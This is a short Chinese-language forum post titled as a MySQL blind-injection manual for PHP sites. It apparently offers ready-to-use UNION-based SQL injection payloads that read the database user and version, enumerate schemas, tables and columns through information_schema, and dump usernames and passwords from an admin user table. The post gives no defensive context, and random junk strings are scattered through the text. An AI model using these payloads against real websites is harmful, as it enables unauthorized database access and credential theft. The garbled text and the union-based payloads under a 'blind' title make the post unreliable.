mysql盲注手册

admin

教程内容:Mysql 5+php 注入

* F% v  \& Q& K+ W

一.查看MYSQL基本信息(库名,版本,用户)
8 ?( a. l  ]) K# {; P
' o' d. |* V% V/ [. F% L5 B; land 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
7 D3 V# ]; O0 d$ m% ?
! R1 e* g! b7 G, b8 d二.查数据库

$ m" U9 P  j0 z& F/ Rand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
. S& I) h+ R; e
三.暴表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
* `2 Y9 e* V, ?( n- |" O# P; Y
$ Z8 Z% z2 ]; U3 X+ L3 g: o! b1 ^limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

四.暴字段
4 V: S  V) a. v, y7 R" C( C
/ B1 d* d8 t4 X8 e( k# r4 ]* y- Gand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

3 e% U- P' |" I. V: {  d, A8 Elimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
! F+ i6 f' f8 h1 ~& d! Y) _+ v
五.暴数据
4 M& T9 e# x1 }5 U/ }
  ]# A5 \5 W/ z0 O% iand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*

" e: A) M+ d  C/ p
" Z# I# ]! W3 h4 h( K0 u0 G- @这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
6 J' u$ ]9 w" C6 G( V) ^( l4 C% Z